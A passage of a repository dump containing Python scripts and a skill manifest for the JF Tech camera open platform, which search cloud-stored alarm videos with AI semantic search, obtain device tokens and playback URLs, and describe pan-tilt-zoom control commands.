生成当前时间戳(毫秒),可选加上 movecard 偏移量
Args:
movecard: 签名算法偏移量 (0-9),用于增加签名安全性
"""
return str(int(time.time() * 1000) + movecard)
def generate_signature(uuid, app_key, app_secret, time_millis):
"""生成杰峰 API 签名"""
sign_str = uuid + app_key + time_millis + app_secret
return hashlib.md5(sign_str.encode('utf-8')).hexdigest()
def get_device_token(sn, uuid, app_key, app_secret, movecard=0, endpoint="api.jftechws.com"):
"""通过设备序列号生成 deviceToken"""
time_millis = generate_timestamp(movecard)
signature = generate_signature(uuid, app_key, app_secret, time_millis)
url = f"https://{endpoint}/gwp/v3/rtc/device/token"
headers = {
"uuid": uuid,
"appKey": app_key,
"timeMillis": time_millis,
"signature": signature,
"Content-Type": "application/json"
}
body = {"deviceSnList": [sn]}
req = Request(url, data=json.dumps(body).encode('utf-8'), headers=headers, method="POST")
try:
with urlopen(req, timeout=30) as response:
result = json.loads(response.read().decode('utf-8'))
return result
except HTTPError as e:
return {"error": f"HTTP {e.code}", "message": e.read().decode()}
except URLError as e:
return {"error": "Network error", "message": str(e)}
def get_playback_url(sn, user, start_time, stop_time, uuid, app_key, app_secret, movecard=0,
endpoint="api.jftechws.com", stream_type="hls"):
"""获取云存回放地址"""
token_result = get_device_token(sn, uuid, app_key, app_secret, movecard, endpoint)
if token_result.get('error') or token_result.get('code') != 2000:
return {"error": f"获取 Token 失败:{token_result.get('error') or token_result.get('msg')}"}
if not token_result.get('data') or len(token_result['data']) == 0:
return {"error": "获取 Token 失败:返回数据为空"}
device_token = token_result['data'][0]['token']
url = f"https://{endpoint}/gwp/v3/rtc/device/getVideoUrl/{device_token}"
time_millis = generate_timestamp(movecard)
signature = generate_signature(uuid, app_key, app_secret, time_millis)
headers = {
"uuid": uuid,
"appKey": app_key,
"timeMillis": time_millis,
"signature": signature,
"Content-Type": "application/json"
}
body = {
"user": user,
"sn": sn,
"startTime": start_time,
"stopTime": stop_time,
"streamType": stream_type
}
req = Request(url, data=json.dumps(body).encode('utf-8'), headers=headers, method="POST")
try:
with urlopen(req, timeout=30) as response:
result = json.loads(response.read().decode('utf-8'))
return result
except HTTPError as e:
return {"error": f"HTTP {e.code}", "message": e.read().decode()}
except URLError as e:
return {"error": "Network error", "message": str(e)}
def get_config_from_env():
"""从环境变量读取配置"""
required_vars = ['JF_UUID', 'JF_APPKEY', 'JF_APPSECRET', 'JF_MOVECARD', 'JF_SN']
missing_vars = [var for var in required_vars if not os.environ.get(var)]
if missing_vars:
raise Exception(f"缺少必需的环境变量:{', '.join(missing_vars)}\n"
f"请设置:export JF_UUID='...' JF_APPKEY='...' JF_APPSECRET='...' JF_MOVECARD=5 JF_SN='...'")
return {
'uuid': os.environ.get('JF_UUID'),
'appkey': os.environ.get('JF_APPKEY'),
'appsecret': os.environ.get('JF_APPSECRET'),
'movecard': int(os.environ.get('JF_MOVECARD', 5)),
'sn': os.environ.get('JF_SN'),
'user': os.environ.get('JF_USER', 'admin'),
'endpoint': os.environ.get('JF_ENDPOINT', 'api.jftechws.com')
}
def main():
parser = argparse.ArgumentParser(
description='AI 智搜 + 云存回放完整流程',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog='''
环境变量:
JF_UUID 开放平台用户唯一标识 (必需)
JF_APPKEY 开放平台应用 Key (必需)
JF_APPSECRET 开放平台应用密钥 (必需)
JF_MOVECARD 签名算法偏移量,通常设为 5 (必需)
JF_SN 设备序列号 (必需)
JF_USER 用户 ID,默认 admin (可选)
JF_ENDPOINT API 端点,默认 api.jftechws.com (可选)
示例:
# 设置环境变量
export JF_UUID="your-uuid"
export JF_APPKEY="your-appkey"
export JF_APPSECRET="your-appsecret"
export JF_MOVECARD=5
export JF_SN="your-device-sn"
export JF_USER="admin"
# 搜索"人"并获取第一个视频的回放地址
python ai_search_playback.py --search "人" --video-index 0
# 搜索"车"并获取第二个视频的回放地址
python ai_search_playback.py --search "车" --video-index 1
''')
parser.add_argument('--search', required=True, help='搜索内容(如"人"、"车"、"狗")')
parser.add_argument('--video-index', type=int, default=0, help='选择第几个视频(从 0 开始,默认 0)')
args = parser.parse_args()
# 从环境变量读取配置
try:
config = get_config_from_env()
except Exception as e:
print(f'❌ 配置错误:{e}')
sys.exit(1)
print('========================================')
print('AI 智搜 + 云存回放完整流程')
print('========================================')
print(f"设备 SN: {config['sn']}")
print(f"搜索内容:{args.search}")
print(f"视频索引:{args.video_index}")
print()
# 步骤 1: AI 智搜
print('>>> 步骤 1/3: AI 智搜搜索视频...')
search_result = search_jftech(
sn=config['sn'],
user=config['user'],
query=args.search,
uuid=config['uuid'],
appkey=config['appkey'],
secret=config['appsecret']
)
if search_result.get('error'):
print(f"❌ AI 智搜失败:{search_result['error']}")
if search_result.get('message'):
print(f" 详情:{search_result['message']}")
sys.exit(1)
if search_result.get('code') != 2000:
print(f"❌ API 错误码:{search_result.get('code')}")
print(f" 详情:{search_result.get('msg', 'Unknown error')}")
sys.exit(1)
data = search_result.get('data', {})
videos = data.get('videos', [])
if not videos:
print('❌ 未找到匹配的视频')
sys.exit(1)
print(f"✅ 找到 {len(videos)} 个匹配的视频")
if args.video_index >= len(videos):
print(f"❌ 视频索引 {args.video_index} 超出范围 (0-{len(videos)-1})")
sys.exit(1)
video = videos[args.video_index]
print(f" 选择:片段 {args.video_index + 1}")
print(f" 时间:{video.get('eventTime', 'N/A')}")
print(f" 匹配度:{video.get('matchRate', 0):.0%}")
print()
# 步骤 2: 提取时间
start_time = video.get('st')
stop_time = video.get('et')
if not start_time or not stop_time:
print('❌ 无法提取视频时间信息')
sys.exit(1)
# 转换时间戳为可读格式
from datetime import datetime
start_dt = datetime.fromtimestamp(start_time)
stop_dt = datetime.fromtimestamp(stop_time)
print('>>> 步骤 2/3: 提取视频时间...')
print(f" 开始:{start_dt.strftime('%Y-%m-%d %H:%M:%S')} ({start_time})")
print(f" 结束:{stop_dt.strftime('%Y-%m-%d %H:%M:%S')} ({stop_time})")
print()
# 步骤 3: 获取回放地址
print('>>> 步骤 3/3: 获取云存回放地址...')
playback_result = get_playback_url(
sn=config['sn'],
user=config['user'],
start_time=start_time,
stop_time=stop_time,
uuid=config['uuid'],
app_key=config['appkey'],
app_secret=config['appsecret'],
movecard=config['movecard'],
endpoint=config['endpoint']
)
if playback_result.get('error'):
print(f"❌ 获取回放地址失败:{playback_result['error']}")
sys.exit(1)
if playback_result.get('code') != 2000:
print(f"❌ API 错误码:{playback_result.get('code')}")
print(f" 详情:{playback_result.get('msg', 'Unknown error')}")
sys.exit(1)
playback_data = playback_result.get('data', {})
playback_url = playback_data.get('url') or playback_data.get('playUrl')
if not playback_url:
print('❌ 未找到播放 URL')
print(json.dumps(playback_result, indent=2, ensure_ascii=False))
sys.exit(1)
print('✅ 回放地址获取成功')
print()
print('========================================')
print('播放信息')
print('========================================')
print(f"设备 SN: {config['sn']}")
print(f"时间范围:{start_dt.strftime('%Y-%m-%d %H:%M:%S')} - {stop_dt.strftime('%Y-%m-%d %H:%M:%S')}")
print(f"播放地址:{playback_url}")
print()
print("使用方式:")
print(f" - VLC 播放:vlc \"{playback_url}\"")
print(f" - 网页播放:在浏览器中打开 URL")
print(f" - 下载:curl -o video.mp4 \"{playback_url}\"")
print('========================================')
if __name__ == "__main__":
main()
FILE:scripts/get_playback_url.py
#!/usr/bin/env python3
"""
云存报警视频回放地址获取脚本
工作流程:
1. 先通过 AI 智搜获取云存报警信息视频列表
2. 提取录像开始时间(st 对应 startTime)和录像结束时间(et 对应 stopTime)
3. 通过设备序列号生成 deviceToken
4. 通过获取云存报警视频回放或下载地址接口,获取播放链接
官方文档:
https://docs.jftech.com/docs?menusId=54582398fd8d4248962354e92ac2e47a&siderId=2e08468f46564602d01ae8a244661672
API 端点:
1. 获取设备 Token: POST https://api.jftechws.com/gwp/v3/rtc/device/token
2. 云存回放:POST https://api.jftechws.com/gwp/v3/rtc/device/getVideoUrl/{deviceToken}
用法:
# 设置环境变量(必需)
export JF_UUID="your-uuid"
export JF_APPKEY="your-appkey"
export JF_APPSECRET="your-appsecret"
export JF_MOVECARD=5 # 签名算法偏移量 (0-9)
export JF_SN="your-device-sn"
export JF_USER="admin" # 可选,默认 admin
export JF_ENDPOINT="api.jftechws.com" # 可选
# 完整流程:AI 智搜 + 播放地址
python get_playback_url.py --search "人" --video-index 0
# 直接获取指定时间的播放地址
python get_playback_url.py --start-time "2026-03-28 15:23:26" --stop-time "2026-03-28 15:23:36"
"""
import argparse
import hashlib
import json
import os
import time
import sys
from urllib.request import urlopen, Request
from urllib.error import URLError, HTTPError
def generate_timestamp(movecard=0):
"""
生成当前时间戳(毫秒),可选加上 movecard 偏移量
Args:
movecard: 签名算法偏移量 (0-9),用于增加签名安全性
"""
return str(int(time.time() * 1000) + movecard)
def generate_signature(uuid, app_key, app_secret, time_millis):
"""
生成杰峰 API 签名
签名算法:MD5(uuid + appKey + timeMillis + secret)
Args:
uuid: 开放平台用户 uuid
app_key: 应用 appKey
app_secret: 应用密钥
time_millis: 时间戳(毫秒),已包含 movecard 偏移
"""
sign_str = uuid + app_key + time_millis + app_secret
return hashlib.md5(sign_str.encode('utf-8')).hexdigest()
def get_device_token(sn, uuid, app_key, app_secret, movecard=0, endpoint="api.jftechws.com"):
"""
通过设备序列号生成 deviceToken
API: POST https://api.jftechws.com/gwp/v3/rtc/device/token
Args:
sn: 设备序列号
uuid: 开放平台用户 uuid
app_key: 应用 appKey
app_secret: 应用密钥
movecard: 签名算法偏移量 (0-9)
endpoint: API 端点
Returns:
dict: API 响应,包含 deviceToken
"""
time_millis = generate_timestamp(movecard)
signature = generate_signature(uuid, app_key, app_secret, time_millis)
url = f"https://{endpoint}/gwp/v3/rtc/device/token"
headers = {
"uuid": uuid,
"appKey": app_key,
"timeMillis": time_millis,
"signature": signature,
"Content-Type": "application/json"
}
body = {"deviceSnList": [sn]}
req = Request(url, data=json.dumps(body).encode('utf-8'), headers=headers, method="POST")
try:
with urlopen(req, timeout=30) as response:
result = json.loads(response.read().decode('utf-8'))
return result
except HTTPError as e:
return {"error": f"HTTP Error {e.code}: {e.reason}", "status": e.code}
except URLError as e:
return {"error": f"URL Error: {e.reason}"}
except Exception as e:
return {"error": str(e)}
def get_cloud_playback_url(device_token, sn, user, start_time, stop_time,
uuid, app_key, app_secret, movecard=0,
channel=0, stream_type=1, endpoint="api.jftechws.com"):
"""
获取云存报警视频回放或下载地址
根据录像开始时间(st 对应 startTime)和录像结束时间(et 对应 stopTime)
获取对应云存报警视频播放链接
API: POST https://api.jftechws.com/gwp/v3/rtc/device/getVideoUrl/{deviceToken}
官方文档:
https://docs.jftech.com/docs?menusId=54582398fd8d4248962354e92ac2e47a&siderId=2e08468f46564602d01ae8a244661672
Args:
device_token: 设备 Token(从 get_device_token 获取)
sn: 设备序列号
user: 用户 ID
start_time: 录像开始时间(格式:YYYY-MM-DD HH:MM:SS,对应 AI 智搜的 st 字段)
stop_time: 录像结束时间(格式:YYYY-MM-DD HH:MM:SS,对应 AI 智搜的 et 字段)
uuid: 开放平台用户 uuid
app_key: 应用 appKey
app_secret: 应用密钥
movecard: 签名算法偏移量 (0-9)
channel: 通道号(默认 0)
stream_type: 码流类型(1=辅码流,2=主码流,默认 1)
endpoint: API 端点
Returns:
dict: API 响应,包含播放地址
"""
time_millis = generate_timestamp(movecard)
signature = generate_signature(uuid, app_key, app_secret, time_millis)
# 云存回放 API 端点
url = f"https://{endpoint}/gwp/v3/rtc/device/getVideoUrl/{device_token}"
headers = {
"uuid": uuid,
"appKey": app_key,
"timeMillis": time_millis,
"signature": signature,
"Content-Type": "application/json"
}
# 请求体:startTime 对应 st,stopTime 对应 et
body = {
"sn": sn,
"user": user,
"startTime": start_time,
"stopTime": stop_time,
"channel": channel,
"streamType": stream_type
}
req = Request(url, data=json.dumps(body).encode('utf-8'), headers=headers, method="POST")
try:
with urlopen(req, timeout=30) as response:
result = json.loads(response.read().decode('utf-8'))
return result
except HTTPError as e:
return {"error": f"HTTP Error {e.code}: {e.reason}", "status": e.code}
except URLError as e:
return {"error": f"URL Error: {e.reason}"}
except Exception as e:
return {"error": str(e)}
def ai_search(sn, user, search_content, uuid, app_key, app_secret, movecard=0, endpoint="api.jftechws.com"):
"""
AI 智搜 - 搜索云存报警视频
API: POST https://api.jftechws.com/aisvr/v3/gateway/api/viewsearch/searchVideo
Args:
sn: 设备序列号
user: 用户 ID
search_content: 搜索内容
uuid: 开放平台用户 uuid
app_key: 应用 appKey
app_secret: 应用密钥
movecard: 签名算法偏移量 (0-9)
endpoint: API 端点
Returns:
dict: API 响应
"""
time_millis = generate_timestamp(movecard)
signature = generate_signature(uuid, app_key, app_secret, time_millis)
url = f"https://{endpoint}/aisvr/v3/gateway/api/viewsearch/searchVideo"
headers = {
"uuid": uuid,
"appKey": app_key,
"timeMillis": time_millis,
"signature": signature,
"Content-Type": "application/json"
}
body = {
"sn": sn,
"user": user,
"searchContent": search_content
}
req = Request(url, data=json.dumps(body).encode('utf-8'), headers=headers, method="POST")
try:
with urlopen(req, timeout=30) as response:
result = json.loads(response.read().decode('utf-8'))
return result
except HTTPError as e:
return {"error": f"HTTP Error {e.code}: {e.reason}"}
except URLError as e:
return {"error": f"URL Error: {e.reason}"}
except Exception as e:
return {"error": str(e)}
def ai_search_and_playback(sn, user, search_content, uuid, app_key, app_secret, movecard=0,
video_index=0, endpoint="api.jftechws.com"):
"""
完整流程:AI 智搜 + 云存报警视频回放地址获取
1. 通过搜索视频获取云存报警信息视频列表
2. 提取录像开始时间(st 对应 startTime)和录像结束时间(et 对应 stopTime)
3. 通过设备序列号生成 deviceToken
4. 通过获取云存报警视频回放或下载地址接口,获取播放链接
Args:
sn: 设备序列号
user: 用户 ID
search_content: 搜索内容
uuid: 开放平台用户 uuid
app_key: 应用 appKey
app_secret: 应用密钥
movecard: 签名算法偏移量 (0-9)
video_index: 选择第几个视频(从 0 开始)
endpoint: API 端点
Returns:
dict: 包含搜索结果和播放地址
"""
print("=" * 70)
print("🎬 AI 智搜 + 云存报警视频回放地址获取")
print("=" * 70)
print()
print(f"设备 SN: {sn}")
print(f"用户:{user}")
print(f"搜索内容:{search_content}")
print(f"选择视频索引:{video_index}")
print()
# 步骤 1: AI 智搜 - 获取云存报警信息视频列表
print(">>> 步骤 1: 搜索视频获取云存报警信息视频列表...")
search_result = ai_search(sn, user, search_content, uuid, app_key, app_secret, movecard, endpoint)
if search_result.get('error'):
print(f"❌ AI 智搜失败:{search_result['error']}")
return {"error": search_result['error']}
if search_result.get('code') != 2000:
print(f"❌ AI 智搜失败:{search_result.get('msg', 'Unknown error')}")
return {"error": search_result.get('msg', 'Unknown error')}
videos = search_result.get('data', [])
if not videos:
print("❌ 未找到匹配的视频")
return {"error": "No videos found"}
print(f"✅ AI 智搜成功,找到 {len(videos)} 条视频")
print()
# 选择指定索引的视频
if video_index >= len(videos):
print(f"❌ 视频索引 {video_index} 超出范围(0-{len(videos)-1})")
return {"error": f"Video index {video_index} out of range"}
video = videos[video_index]
print(f"📹 选择第 {video_index + 1} 个视频:")
print(f" 录像开始时间(st):{video['st']}")
print(f" 录像结束时间(et):{video['et']}")
print(f" 匹配度:{video['matchRate']:.1%}")
print(f" 文件名:{video['indx']}")
print()
# 步骤 2: 通过设备序列号生成 deviceToken
print(">>> 步骤 2: 通过设备序列号生成 deviceToken...")
token_result = get_device_token(sn, uuid, app_key, app_secret, movecard, endpoint)
if token_result.get('error'):
print(f"❌ 获取 deviceToken 失败:{token_result['error']}")
return {"error": token_result['error'], "search_result": search_result}
if token_result.get('code') != 2000:
print(f"❌ 获取 deviceToken 失败:{token_result.get('msg', 'Unknown error')}")
return {"error": token_result.get('msg', 'Unknown error'), "search_result": search_result}
device_token = token_result['data'][0]['deviceToken']
print(f"✅ deviceToken 获取成功:{device_token[:30]}...")
print()
# 步骤 3: 获取云存报警视频回放地址
print(">>> 步骤 3: 获取云存报警视频回放地址...")
print(f" API 端点:POST /gwp/v3/rtc/device/getVideoUrl/{device_token[:30]}...")
print(f" startTime: {video['st']} (对应 st)")
print(f" stopTime: {video['et']} (对应 et)")
print()
playback_result = get_cloud_playback_url(
device_token=device_token,
sn=sn,
user=user,
start_time=video['st'], # st 对应 startTime
stop_time=video['et'], # et 对应 stopTime
uuid=uuid,
app_key=app_key,
app_secret=app_secret,
endpoint=endpoint
)
if playback_result.get('error'):
print(f"❌ 获取播放地址失败:{playback_result['error']}")
return {"error": playback_result['error'], "search_result": search_result}
if playback_result.get('code') != 2000:
print(f"❌ 获取播放地址失败:{playback_result.get('msg', 'Unknown error')}")
return {"error": playback_result.get('msg', 'Unknown error'), "search_result": search_result}
# 成功获取播放地址
play_url = playback_result['data'].get('url')
print("✅ 云存报警视频播放地址获取成功!")
print()
print("=" * 70)
print("🎬 播放地址")
print("=" * 70)
print()
print(f"📹 视频信息:")
print(f" 时间:{video['st']} - {video['et']}")
print(f" 时长:10 秒")
print(f" 匹配度:{video['matchRate']:.1%}")
print(f" 文件名:{video['indx']}")
print()
print(f"🔗 播放地址:")
print(f" {play_url}")
print()
print("=" * 70)
print("🎯 播放方式:")
print("=" * 70)
print()
print("1. VLC 播放器:")
print(f' vlc "{play_url}"')
print()
print("2. 网页播放(HLS.js):")
print(f' <video src="{play_url}" controls></video>')
print()
print("3. FFmpeg 下载:")
print(f' ffmpeg -i "{play_url}" -c copy video.mp4')
print()
return {
"success": True,
"search_result": search_result,
"playback_result": playback_result,
"video_info": video,
"play_url": play_url
}
def get_config_from_env():
"""从环境变量读取配置"""
required_vars = ['JF_UUID', 'JF_APPKEY', 'JF_APPSECRET', 'JF_MOVECARD', 'JF_SN']
missing_vars = [var for var in required_vars if not os.environ.get(var)]
if missing_vars:
raise Exception(f"缺少必需的环境变量:{', '.join(missing_vars)}\n"
f"请设置:export JF_UUID='...' JF_APPKEY='...' JF_APPSECRET='...' JF_MOVECARD=5 JF_SN='...'")
return {
'uuid': os.environ.get('JF_UUID'),
'appkey': os.environ.get('JF_APPKEY'),
'appsecret': os.environ.get('JF_APPSECRET'),
'movecard': int(os.environ.get('JF_MOVECARD', 5)),
'sn': os.environ.get('JF_SN'),
'user': os.environ.get('JF_USER', 'admin'),
'endpoint': os.environ.get('JF_ENDPOINT', 'api.jftechws.com')
}
def main():
parser = argparse.ArgumentParser(
description='AI 智搜 + 云存报警视频回放地址获取',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog='''
环境变量:
JF_UUID 开放平台用户唯一标识 (必需)
JF_APPKEY 开放平台应用 Key (必需)
JF_APPSECRET 开放平台应用密钥 (必需)
JF_MOVECARD 签名算法偏移量,通常设为 5 (必需)
JF_SN 设备序列号 (必需)
JF_USER 用户 ID,默认 admin (可选)
JF_ENDPOINT API 端点,默认 api.jftechws.com (可选)
使用流程:
1. 通过搜索视频获取云存报警信息视频列表
2. 提取录像开始时间(st 对应 startTime)和录像结束时间(et 对应 stopTime)
3. 通过设备序列号生成 deviceToken
4. 通过获取云存报警视频回放或下载地址接口,获取播放链接
官方文档:
https://docs.jftech.com/docs?menusId=54582398fd8d4248962354e92ac2e47a&siderId=2e08468f46564602d01ae8a244661672
示例:
# 设置环境变量
export JF_UUID="your-uuid"
export JF_APPKEY="your-appkey"
export JF_APPSECRET="your-appsecret"
export JF_MOVECARD=5
export JF_SN="your-device-sn"
export JF_USER="admin"
# 完整流程:AI 智搜 + 播放地址
python get_playback_url.py --search "人" --video-index 0
# 直接获取指定时间的播放地址
python get_playback_url.py --start-time "2026-04-07 12:00:00" --stop-time "2026-04-07 12:45:00"
'''
)
parser.add_argument('--search', help='搜索内容(如"人"、"车"、"狗")')
parser.add_argument('--video-index', type=int, default=0, help='选择第几个视频(从 0 开始,默认 0)')
parser.add_argument('--start-time', help='录像开始时间(格式:YYYY-MM-DD HH:MM:SS)')
parser.add_argument('--stop-time', help='录像结束时间(格式:YYYY-MM-DD HH:MM:SS)')
args = parser.parse_args()
# 从环境变量读取配置
try:
config = get_config_from_env()
except Exception as e:
print(f'❌ 配置错误:{e}')
sys.exit(1)
# 如果有 search 参数,执行完整流程
if args.search:
result = ai_search_and_playback(
sn=config['sn'],
user=config['user'],
search_content=args.search,
uuid=config['uuid'],
app_key=config['appkey'],
app_secret=config['appsecret'],
movecard=config['movecard'],
video_index=args.video_index,
endpoint=config['endpoint']
)
# 如果有 start_time 和 stop_time 参数,直接获取播放地址
elif args.start_time and args.stop_time:
print(">>> 通过设备序列号生成 deviceToken...")
token_result = get_device_token(config['sn'], config['uuid'], config['appkey'], config['appsecret'], config['movecard'], config['endpoint'])
if token_result.get('error') or token_result.get('code') != 2000:
print(f"❌ 获取 deviceToken 失败:{token_result.get('error') or token_result.get('msg')}")
sys.exit(1)
device_token = token_result['data'][0]['deviceToken']
print(f"✅ deviceToken 获取成功")
print(">>> 获取云存报警视频回放地址...")
playback_result = get_cloud_playback_url(
device_token=device_token,
sn=config['sn'],
user=config['user'],
start_time=args.start_time,
stop_time=args.stop_time,
uuid=config['uuid'],
app_key=config['appkey'],
app_secret=config['appsecret'],
movecard=config['movecard'],
endpoint=config['endpoint']
)
if playback_result.get('error') or playback_result.get('code') != 2000:
print(f"❌ 获取播放地址失败:{playback_result.get('error') or playback_result.get('msg')}")
sys.exit(1)
play_url = playback_result['data'].get('url')
print(f"✅ 播放地址:{play_url}")
result = {"success": True, "play_url": play_url}
else:
parser.print_help()
sys.exit(1)
# 输出 JSON 结果
print()
print("=" * 70)
print("📋 JSON 结果")
print("=" * 70)
print()
print(json.dumps(result, indent=2, ensure_ascii=False))
sys.exit(0 if result.get('success') else 1)
if __name__ == '__main__':
main()
FILE:scripts/search_video.py
#!/usr/bin/env python3
"""
AI 智搜脚本 - 搜索云存报警视频
仅支持环境变量配置凭据,避免命令行泄露风险。
支持平台:JF Tech(杰峰)
用法:
export JF_UUID="your-uuid"
export JF_APPKEY="your-appkey"
export JF_APPSECRET="your-appsecret"
export JF_MOVECARD=5
export JF_SN="your-device-sn"
export JF_USER="admin"
python search_video.py --search "人"
python search_video.py --search "车"
python search_video.py --search "戴帽子的人"
"""
import argparse
import hashlib
import json
import os
import time
import sys
from urllib.request import urlopen, Request
from urllib.error import URLError, HTTPError
def generate_jftech_sign(appkey: str, secret: str, timestamp: int, movecard: int = 0) -> str:
"""
生成 JF Tech API 签名
Args:
appkey: 应用 appKey
secret: 应用密钥
timestamp: 时间戳(毫秒)
movecard: 签名算法偏移量 (0-9),用于增加签名安全性
"""
# 时间戳加上 movecard 偏移量
adjusted_timestamp = timestamp + movecard
sign_str = f"{appkey}{adjusted_timestamp}{secret}"
return hashlib.md5(sign_str.encode()).hexdigest()
def search_jftech(sn: str, user: str, query: str, uuid: str, appkey: str,
secret: str, authorization: str, movecard: int = 0) -> dict:
"""
调用 JF Tech AI 智搜 API
Args:
sn: 设备序列号
user: 用户 ID
query: 搜索内容(语义描述)
uuid: 开放平台用户 uuid
appkey: 应用 appKey
secret: 应用密钥
authorization: 用户 token
movecard: 签名算法偏移量 (0-9)
Returns:
API 响应字典
"""
url = "https://api.jftechws.com/aisvr/v3/gateway/api/viewsearch/searchVideo"
timestamp = int(time.time() * 1000)
sign = generate_jftech_sign(appkey, secret, timestamp, movecard)
headers = {
"Content-Type": "application/json",
"uuid": uuid,
"appkey": appkey,
"sign": sign,
"timestamp": str(timestamp),
"authorization": authorization
}
body = {
"sn": sn,
"user": user,
"searchContent": query
}
req = Request(url, data=json.dumps(body).encode(), headers=headers, method="POST")
try:
with urlopen(req, timeout=30) as response:
result = json.loads(response.read().decode())
return result
except HTTPError as e:
return {"error": f"HTTP {e.code}", "message": e.read().decode()}
except URLError as e:
return {"error": "Network error", "message": str(e)}
def format_results(results: dict) -> str:
"""格式化搜索结果输出"""
if "error" in results:
return f"❌ 错误:{results.get('error', 'Unknown')}\n{results.get('message', '')}"
if results.get("code") != 2000:
return f"❌ API 错误码:{results.get('code')}\n{results.get('msg', '')}"
data = results.get("data", {})
videos = data.get("videos", [])
if not videos:
return "📭 未找到匹配的视频"
output = []
output.append(f"✅ 找到 {len(videos)} 个匹配的视频片段\n")
for i, video in enumerate(videos, 1):
output.append(f"📹 片段 {i}:")
output.append(f" 时间:{video.get('eventTime', 'N/A')}")
output.append(f" 匹配度:{video.get('matchRate', 0):.0%}")
output.append(f" 标签:{', '.join(video.get('queryTags', []))}")
output.append(f" 大小:{video.get('vidsz', 0) / 1024:.1f} KB")
if video.get('picfg') == 1:
output.append(f" 缩略图:有")
output.append("")
return "\n".join(output)
def get_config_from_env():
"""从环境变量读取配置"""
required_vars = ['JF_UUID', 'JF_APPKEY', 'JF_APPSECRET', 'JF_MOVECARD', 'JF_SN']
missing_vars = [var for var in required_vars if not os.environ.get(var)]
if missing_vars:
raise Exception(f"缺少必需的环境变量:{', '.join(missing_vars)}\n"
f"请设置:export JF_UUID='...' JF_APPKEY='...' JF_APPSECRET='...' JF_MOVECARD=5 JF_SN='...'")
return {
'uuid': os.environ.get('JF_UUID'),
'appkey': os.environ.get('JF_APPKEY'),
'secret': os.environ.get('JF_APPSECRET'),
'movecard': int(os.environ.get('JF_MOVECARD', 5)),
'sn': os.environ.get('JF_SN'),
'user': os.environ.get('JF_USER', 'admin'),
'endpoint': os.environ.get('JF_ENDPOINT', 'api.jftechws.com')
}
def main():
parser = argparse.ArgumentParser(
description="AI 智搜 - 搜索云存报警视频",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog='''
环境变量:
JF_UUID 开放平台用户唯一标识 (必需)
JF_APPKEY 开放平台应用 Key (必需)
JF_APPSECRET 开放平台应用密钥 (必需)
JF_MOVECARD 签名算法偏移量,通常设为 5 (必需)
JF_SN 设备序列号 (必需)
JF_USER 用户 ID,默认 admin (可选)
JF_ENDPOINT API 端点,默认 api.jftechws.com (可选)
示例:
# 设置环境变量
export JF_UUID="your-uuid"
export JF_APPKEY="your-appkey"
export JF_APPSECRET="your-appsecret"
export JF_MOVECARD=5
export JF_SN="your-device-sn"
export JF_USER="admin"
# 搜索"人"相关的视频
python search_video.py --search "人"
# 搜索"车"相关的视频
python search_video.py --search "车"
# 搜索"戴帽子的人"
python search_video.py --search "戴帽子的人"
''')
parser.add_argument("--search", dest="query", required=True, help="搜索内容(语义描述)")
parser.add_argument("--json", action="store_true", help="输出 JSON 格式")
args = parser.parse_args()
try:
config = get_config_from_env()
except Exception as e:
print(f'❌ 配置错误:{e}')
sys.exit(1)
result = search_jftech(
sn=config['sn'],
user=config['user'],
query=args.query,
uuid=config['uuid'],
appkey=config['appkey'],
secret=config['secret'],
authorization='', # 如需 authorization 可从环境变量添加
movecard=config['movecard']
)
if args.json:
print(json.dumps(result, indent=2, ensure_ascii=False))
else:
print(format_results(result))
if __name__ == "__main__":
main()
FILE:.clawhub/origin.json
{
"version": 1,
"registry": "https://clawhub.ai",
"slug": "jf-open-pro-ai-smart-search",
"installedVersion": "1.0.3",
"installedAt": 1775547600000
}
面向开发者杰峰设备 API 工具,可支持设备状态、方向控制、一键遮蔽、变倍和聚焦、预置位及巡航计划管理功能等。触发词:云台控制、设备状态、方向转动、预置位、巡航计划、一键遮蔽。
---
name: jf-open-pro-ptz-control
description: 面向开发者杰峰设备 API 工具,可支持设备状态、方向控制、一键遮蔽、变倍和聚焦、预置位及巡航计划管理功能等。触发词:云台控制、设备状态、方向转动、预置位、巡航计划、一键遮蔽。
# 必需凭证声明 - 平台元数据
credentials:
required:
- name: JF_UUID
type: string
description: 杰峰开放平台用户唯一标识
source: https://open.jftech.com/
- name: JF_APPKEY
type: string
description: 杰峰开放平台应用 Key
source: https://open.jftech.com/
- name: JF_APPSECRET
type: string
description: 杰峰开放平台应用密钥
source: https://open.jftech.com/
- name: JF_MOVECARD
type: integer
description: 签名算法偏移量 (0-9)
source: https://open.jftech.com/
optional:
- name: JF_SN
type: string
description: 设备序列号
- name: JF_USERNAME
type: string
description: 设备用户名
default: admin
- name: JF_PASSWORD
type: string
description: 设备密码
- name: JF_ENDPOINT
type: string
description: API 端点
default: api.jftechws.com
# 网络端点声明
endpoints:
- url: https://api.jftechws.com
description: 杰峰官方 API (国际)
- url: https://api-cn.jftech.com
description: 杰峰官方 API (中国大陆)
# 安全声明
security:
credentials_required: true
env_vars_only: true # 仅支持环境变量
language: python # 仅支持 Python
---
# JF Open Pro PTZ Control
> **面向开发者杰峰设备云台控制工具 (Python)**
>
> 支持设备状态查询、方向控制、一键遮蔽、变倍和聚焦、预置位及巡航计划管理功能。
---
## 🔒 安全说明
**仅支持环境变量存储凭据**
| 方式 | 支持 | 说明 |
|------|------|------|
| **环境变量** | ✅ 支持 | 不会在进程列表中暴露,不会执行本地代码 |
| **命令行参数** | ❌ 不支持 | 避免凭据泄露风险 |
| **配置文件** | ❌ 不支持 | 避免代码执行风险 |
---
## 🚀 快速开始
### 设置环境变量
```bash
export JF_UUID="your-uuid" # 开放平台用户唯一标识
export JF_APPKEY="your-appkey" # 开放平台应用 Key
export JF_APPSECRET="your-appsecret" # 开放平台应用密钥
export JF_MOVECARD=5 # 签名算法偏移量 (0-9)
export JF_SN="your-device-sn" # 设备序列号
export JF_USERNAME="admin" # 设备用户名(可选,默认:admin)
export JF_PASSWORD="your-password" # 设备密码(可选)
```
### 使用技能
```bash
# 查询设备状态
python scripts/jf_open_pro_ptz_control.py status
# 云台方向控制(向上转动)
python scripts/jf_open_pro_ptz_control.py ptz --direction up --action start
# 停止转动
python scripts/jf_open_pro_ptz_control.py ptz --direction up --action stop
# 一键遮蔽(开启)
python scripts/jf_open_pro_ptz_control.py mask --enable true
# 一键遮蔽(关闭)
python scripts/jf_open_pro_ptz_control.py mask --enable false
# 变倍控制(放大)
python scripts/jf_open_pro_ptz_control.py zoom --zoom-command ZoomTile --action start
